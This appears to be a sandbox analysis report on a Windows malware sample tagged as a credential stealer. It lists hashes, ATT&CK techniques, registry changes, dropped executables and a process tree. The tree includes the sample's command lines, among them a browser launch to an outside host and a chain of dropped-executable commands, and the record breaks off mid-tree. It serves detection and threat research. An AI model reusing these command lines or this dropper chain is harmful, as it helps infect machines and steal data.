8a373df2ea0edcd2b624f75b86c383e17e6cbc253d06212c52ea3150d623d1c4

Analysis

max time kernel
149s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
18/10/2026, 13:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe
Size 226KB
Sample261018-qvdffabb93
SHA256 8a373df2ea0edcd2b624f75b86c383e17e6cbc253d06212c52ea3150d623d1c4
MD5 651043a3009fd50eeb701740a1776517
SHA1 63dea767d98cf8f3b488ca3d2b51e6fcf06df892
SHA512 3baeeee4ddba805b3fb47a8c90395654441e144899c8cc78003dcde8a399ae2864c797a00b982df00ba779d8f5d9273890de49e4963746447943c02b4509e1c9
SSDEEP 3072:YGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:fXY4LK+a3lLNngoqRttA7
TLSH
T1DF34490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
464	CP.exe
3620	ysqlidbvtn.exe
6128	CP.exe
5612	CP.exe
5780	i_ysqlidbvtn.exe
392	faysqkicav.sys
3944	CP.exe
4076	vsnlfdxvqn.exe
2000	CP.exe
6052	CP.exe
2808	i_vsnlfdxvqn.exe
5132	dxsqkicaus.sys
4640	CP.exe
5460	kfdxvpnhzx.exe
5660	CP.exe
2252	CP.exe
5256	i_kfdxvpnhzx.exe
1396	pkecxupnhf.sys
312	CP.exe
5800	fcxvpnhfzx.exe
4092	CP.exe
3940	CP.exe
5716	i_fcxvpnhfzx.exe
4684	fzxrpjhczu.sys
1932	CP.exe
4300	urmkecwupm.exe
4832	CP.exe
5212	CP.exe
6016	i_urmkecwupm.exe
1736	omhezxrpjh.sys
3360	CP.exe
2152	hbztrmjecw.exe
4372	CP.exe
2440	CP.exe
1692	i_hbztrmjecw.exe
5028	ojebwuomge.sys
1176	CP.exe
5128	wrojgbztrl.exe
4164	CP.exe
2244	CP.exe
4012	i_wrojgbztrl.exe
5260	ywqojgbztr.sys
3300	CP.exe
3672	rljdywqoig.exe
5568	CP.exe
3504	CP.exe
5784	i_rljdywqoig.exe
3724	qoigaysqli.sys
1740	CP.exe
1336	igaytqljdb.exe
1020	CP.exe
4908	CP.exe
5488	i_igaytqljdb.exe
2932	kidavtnlfd.sys
4532	CP.exe
5364	dxvqnifays.exe
1516	CP.exe
6068	CP.exe
212	i_dxvqnifays.exe
4984	nlfdxvpnif.sys
376	CP.exe
1056	xspkicausm.exe
3372	CP.exe
6088	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 43 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vsnlfdxvqn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igaytqljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xspkicausm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xspkicausm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxspkhcaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xrpkhcausm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ysqlidbvtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_urmkecwupm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dxvqnifays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jgbytrljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dxvqnifays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxspkhcaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xrpkhcausm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jgbytrljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wrojgbztrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wrojgbztrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpkecwuomh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	olgeywqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	faysqkicav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icausnkfcx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fcxvpnhfzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	urmkecwupm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hbztrmjecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpkecwuomh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ljebwuomge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_faysqkicav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hbztrmjecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rljdywqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_icausnkfcx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ysqlidbvtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vsnlfdxvqn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kfdxvpnhzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rljdywqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_igaytqljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ljebwuomge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_olgeywqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kfdxvpnhzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fcxvpnhfzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lfdxvqniga.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lfdxvqniga.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1452	ipconfig.exe
1776	ipconfig.exe
2656	ipconfig.exe
412	ipconfig.exe
3676	ipconfig.exe
4348	ipconfig.exe
4148	ipconfig.exe
4840	ipconfig.exe
1892	ipconfig.exe
1020	ipconfig.exe
5468	ipconfig.exe
5740	ipconfig.exe
2620	ipconfig.exe
4368	ipconfig.exe
3124	ipconfig.exe
3364	ipconfig.exe
5404	ipconfig.exe
60	ipconfig.exe
4704	ipconfig.exe
4740	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 30e6eadf0d5fdd01	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31284997"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{A88DD49B-CAF8-11F1-8FDF-66DCEFAAD7CC} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2106773509"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000b314b4e102993c4aba5dfc9fd3ab008a000000000200000000001066000000010000200000005cb4474c37d17b393c55f74cf254661b8cbf68b582810b845a4da924f36a7300000000000e80000000020000200000004b9e394e1461feea4c32435f6888d036e6fbf705b2492f16fe384978f6afc09620000000257820918836ad8c08e395f5fc71792f7c4aae8b5c7462b87fc2854211f1e1014000000077622c4dcaacd702ace56a76eee6b25865e5871dc8b6a9ad91a3524c674f2fd32e27335b8bec80efe16412064f2769f97fddb2ea578df4f7f15d508eb3f25a9d	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 50e1e3df0d5fdd01	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "499095450"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2101460924"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31284997"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000b314b4e102993c4aba5dfc9fd3ab008a00000000020000000000106600000001000020000000596293b22d677114ad8679d79e789a239a45a6f080bd352f0907cf68591618e7000000000e80000000020000200000009f2d5e6dcbc510843121172266c446183823ec951ee8efafdaf7ac97dfde665220000000a127b4c51a5a6c4d32c152f61d530e00173fbe4408cd4a32210994979e547db2400000004546e1d340fa697409279d2c9782088e568d23353d6bd5f6e85bc91ad24263ee2cf53aba1378d790f9f67be5cb17718241030899f0f645ce1ac00e399ef51a60	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	5780	i_ysqlidbvtn.exe
Token: SeDebugPrivilege	2808	i_vsnlfdxvqn.exe
Token: SeDebugPrivilege	5256	i_kfdxvpnhzx.exe
Token: SeDebugPrivilege	5716	i_fcxvpnhfzx.exe
Token: SeDebugPrivilege	6016	i_urmkecwupm.exe
Token: SeDebugPrivilege	1692	i_hbztrmjecw.exe
Token: SeDebugPrivilege	4012	i_wrojgbztrl.exe
Token: SeDebugPrivilege	5784	i_rljdywqoig.exe
Token: SeDebugPrivilege	5488	i_igaytqljdb.exe
Token: SeDebugPrivilege	212	i_dxvqnifays.exe
Token: SeDebugPrivilege	5308	i_xspkicausm.exe
Token: SeDebugPrivilege	4224	i_zxspkhcaus.exe
Token: SeDebugPrivilege	5776	i_xrpkhcausm.exe
Token: SeDebugPrivilege	5740	i_rpkecwuomh.exe
Token: SeDebugPrivilege	4116	i_ljebwuomge.exe
Token: SeDebugPrivilege	5944	i_jgbytrljdb.exe
Token: SeDebugPrivilege	4652	i_olgeywqoig.exe
Token: SeDebugPrivilege	3136	i_lfdxvqniga.exe
Token: SeDebugPrivilege	6056	i_faysqkicav.exe
Token: SeDebugPrivilege	5884	i_icausnkfcx.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
848	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
848	iexplore.exe
848	iexplore.exe
5872	IEXPLORE.EXE
5872	IEXPLORE.EXE
5872	IEXPLORE.EXE
5872	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 3528 wrote to memory of 848	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	86
PID 848 wrote to memory of 5872	848	iexplore.exe	88
PID 3528 wrote to memory of 464	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	90
PID 3620 wrote to memory of 6128	3620	ysqlidbvtn.exe	95
PID 3528 wrote to memory of 5612	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	100
PID 3528 wrote to memory of 3944	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	108
PID 4076 wrote to memory of 2000	4076	vsnlfdxvqn.exe	110
PID 3528 wrote to memory of 6052	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	113
PID 3528 wrote to memory of 4640	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	117
PID 5460 wrote to memory of 5660	5460	kfdxvpnhzx.exe	119
PID 3528 wrote to memory of 2252	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	122
PID 3528 wrote to memory of 312	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	126
PID 5800 wrote to memory of 4092	5800	fcxvpnhfzx.exe	128
PID 3528 wrote to memory of 3940	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	131
PID 3528 wrote to memory of 1932	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	138
PID 4300 wrote to memory of 4832	4300	urmkecwupm.exe	140
PID 3528 wrote to memory of 5212	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	143
PID 3528 wrote to memory of 3360	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	147
PID 2152 wrote to memory of 4372	2152	hbztrmjecw.exe	149
PID 3528 wrote to memory of 2440	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	152
PID 3528 wrote to memory of 1176	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	156
PID 5128 wrote to memory of 4164	5128	wrojgbztrl.exe	158
PID 3528 wrote to memory of 2244	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	161
PID 3528 wrote to memory of 3300	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	165
PID 3672 wrote to memory of 5568	3672	rljdywqoig.exe	167
PID 3528 wrote to memory of 3504	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	170
PID 3528 wrote to memory of 1740	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	174
PID 1336 wrote to memory of 1020	1336	igaytqljdb.exe	176
PID 3528 wrote to memory of 4908	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	179
PID 3528 wrote to memory of 4532	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	183
PID 5364 wrote to memory of 1516	5364	dxvqnifays.exe	185
PID 3528 wrote to memory of 6068	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	188
PID 3528 wrote to memory of 376	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	192
PID 1056 wrote to memory of 3372	1056	xspkicausm.exe	194
PID 3528 wrote to memory of 6088	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	197
PID 3528 wrote to memory of 5456	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	201
PID 740 wrote to memory of 5852	740	zxspkhcaus.exe	203
PID 3528 wrote to memory of 908	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	206
PID 3528 wrote to memory of 3220	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	208
PID 4828 wrote to memory of 4792	4828	xrpkhcausm.exe	210
PID 3528 wrote to memory of 5880	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	213
PID 3528 wrote to memory of 2024	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	217
PID 5268 wrote to memory of 1364	5268	rpkecwuomh.exe	219
PID 3528 wrote to memory of 5172	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	222
PID 3528 wrote to memory of 4660	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	226
PID 4376 wrote to memory of 1692	4376	ljebwuomge.exe	228
PID 3528 wrote to memory of 4528	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	231
PID 3528 wrote to memory of 3316	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	235
PID 5676 wrote to memory of 1492	5676	jgbytrljdb.exe	237
PID 3528 wrote to memory of 2248	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	240
PID 3528 wrote to memory of 4128	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	244
PID 1812 wrote to memory of 1108	1812	olgeywqoig.exe	246
PID 3528 wrote to memory of 5512	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	249
PID 3528 wrote to memory of 3152	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	253
PID 1120 wrote to memory of 3252	1120	lfdxvqniga.exe	255
PID 3528 wrote to memory of 3148	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	258
PID 3528 wrote to memory of 5488	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	262
PID 692 wrote to memory of 2932	692	faysqkicav.exe	264
PID 3528 wrote to memory of 5468	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	267
PID 3528 wrote to memory of 2820	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	271
PID 1592 wrote to memory of 1440	1592	icausnkfcx.exe	273
PID 3528 wrote to memory of 4984	3528	2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe	276

C:\Users\Admin\AppData\Local\Temp\2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-18_651043a3009fd50eeb701740a1776517_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3528
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:848
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:848 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:5872
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ysqlidbvtn.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:464
- - C:\Temp\ysqlidbvtn.exe
    C:\Temp\ysqlidbvtn.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3620
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:6128
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1452
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ysqlidbvtn.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5612
- - C:\Temp\i_ysqlidbvtn.exe
    C:\Temp\i_ysqlidbvtn.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5780
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\vsnlfdxvqn.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3944
- - C:\Temp\vsnlfdxvqn.exe
    C:\Temp\vsnlfdxvqn.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4076
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2000
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1020
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_vsnlfdxvqn.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:6052
- - C:\Temp\i_vsnlfdxvqn.exe
    C:\Temp\i_vsnlfdxvqn.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2808
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\kfdxvpnhzx.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4640
- - C:\Temp\kfdxvpnhzx.exe
    C:\Temp\kfdxvpnhzx.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5460
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5660
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5468
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_kfdxvpnhzx.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2252
- - C:\Temp\i_kfdxvpnhzx.exe
    C:\Temp\i_kfdxvpnhzx.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5256
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\fcxvpnhfzx.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:312
- - C:\Temp\fcxvpnhfzx.exe
    C:\Temp\fcxvpnhfzx.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5800
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4092
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:60
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_fcxvpnhfzx.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3940
- - C:\Temp\i_fcxvpnhfzx.exe
    C:\Temp\i_fcxvpnhfzx.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5716
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\urmkecwupm.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1932
- - C:\Temp\urmkecwupm.exe
